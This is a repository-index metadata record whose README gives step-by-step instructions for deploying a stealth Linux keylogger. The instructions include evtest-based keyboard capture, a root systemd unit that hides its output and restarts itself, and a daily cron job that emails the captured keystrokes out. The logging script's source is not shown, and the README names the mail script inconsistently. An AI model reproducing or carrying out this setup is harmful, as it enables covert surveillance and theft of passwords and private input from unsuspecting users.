{"id":26660733,"url":"https://github.com/mayanksharma001/stealthlogger","last_synced_at":"2026-07-02T07:31:55.392Z","repository":{"id":283232495,"uuid":"950553801","full_name":"MayankSharma001/StealthLogger","owner":"MayankSharma001","description":"This is a Linux-based keylogger that activates upon startup and operates discreetly in the background. It records every keystroke and saves the data to a file, which is then automatically emailed to the administrator every 24 hours.","archived":false,"fork":false,"pushed_at":"2025-03-19T07:11:50.000Z","size":7,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-01T07:18:46.027Z","etag":null,"topics":["bash-scripting","keylogger","linux","logging"],"latest_commit_sha":null,"homepage":"","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MayankSharma001.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-18T10:42:53.000Z","updated_at":"2025-03-25T01:09:08.000Z","dependencies_parsed_at":"2025-03-19T07:46:14.991Z","dependency_job_id":null,"html_url":"https://github.com/MayankSharma001/StealthLogger","commit_stats":null,"previous_names":["mayanksharma001/persistentkeylogger"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/MayankSharma001/StealthLogger","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MayankSharma001%2FStealthLogger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MayankSharma001%2FStealthLogger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MayankSharma001%2FStealthLogger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MayankSharma001%2FStealthLogger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MayankSharma001","download_url":"https://codeload.github.com/MayankSharma001/StealthLogger/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MayankSharma001%2FStealthLogger/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":35038239,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-07-02T02:00:06.368Z","response_time":173,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash-scripting","keylogger","linux","logging"],"created_at":"2025-03-25T12:19:51.083Z","updated_at":"2026-07-02T07:31:55.362Z","avatar_url":"https://github.com/MayankSharma001.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Linux Based Persistent Keylogger with mailing\nThis is a Linux based keylogger which starts at startup and runs in the background. Saves the output of every key stroke in a file and mails the file automatically in every 24 hours cycle to the admin.\n\n## Project Structure\n```\n  /usr/local/bin/\n ├── keylogger.sh          # Main keylogger script (background)\n ├── mail_keylog.sh        # Email script (sends logs daily)\n  /etc/systemd/system/\n ├── keylogger.service     # Systemd service for persistence\n  /var/log/keylogger/      # Directory storing keystroke logs\n```\n## Features\n1. Runs in the background silently\n2. Logs all keystrokes into a file (/var/log/keylogger/YYYY-MM-DD.log)\n3. Persists after reboot (via systemd service)\n4. Sends daily logs to admin via email (via cron job)\n5. Auto-restarts if stopped\n\n## Installation \u0026 Setup\n1. Install Dependencies\n   ```\n   - sudo apt update \u0026\u0026 sudo apt install evtest mailutils -y  #Debian\n   - sudo yum install evtest mailx -y #RHEL\n   ```\n3. Identify the Keyboard Device\n   ```\n   - sudo evtest\n   ```\n      - Then check for the keyboard device #Example: /dev/input/event1:\tAT Translated Set 2 keyboard\n         - Press keys to check response. Once identified, update /dev/input/eventX in the script.\n\n## Keylogger Script\n1. Create the script here: ``` sudo nano /usr/local/bin/keylogger.sh ```\n2. Then make it executable with: ``` chmod +x /usr/local/bin/keylogger.sh ```\n\n## Making the Keylogger Persistent\n1. Create a systemd service\n   ```\n   - sudo nano /etc/systemd/system/keylogger.service\n   ```\n2. Paste the following:\n ```\n[Unit]\nDescription=Stealth Linux Keylogger\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=/usr/local/bin/keylogger.sh\nRestart=always\nUser=root\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=multi-user.target\n```\n3. Enable and start the service\n   ```\n    - sudo systemctl daemon-reload\n    - sudo systemctl enable keylogger\n    - sudo systemctl start keylogger\n   ```\n4. Verify if its running\n   ```\n   sudo systemctl status keylogger\n   ```\n\n## Emailing the logs every 24 hours with cron jobs\n1. Create the email script\n   ```\n   sudo nano /usr/local/bin/mail_keylog.sh\n   ```\n2. Make it executable\n   ```\n   sudo chmod +x /usr/local/bin/send_keylog.sh\n   ```\n3. Schedule the cron job daily at midnight\n   ```\n   sudo crontab -e\n   ```\n   Then add the following\n   ```\n   0 0 * * * /usr/local/bin/mail_keylog.sh\n   ```\n4. Restart cron service\n   ```\n   sudo systemctl restart cron\n   ```\n\n## Further Enhancement\n-  Making the script immutable – Use chattr +i to prevent any unauthorized modifications to the script.\n-  Access Control – Restrict access to the script and log files using ACLs (setfacl) to ensure only authorized users can read or modify them.\n-  Log Integrity Verification – Implement SHA256 hashing for log files, allowing us to verify that the logs have not been tampered with.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmayanksharma001%2Fstealthlogger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmayanksharma001%2Fstealthlogger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmayanksharma001%2Fstealthlogger/lists"}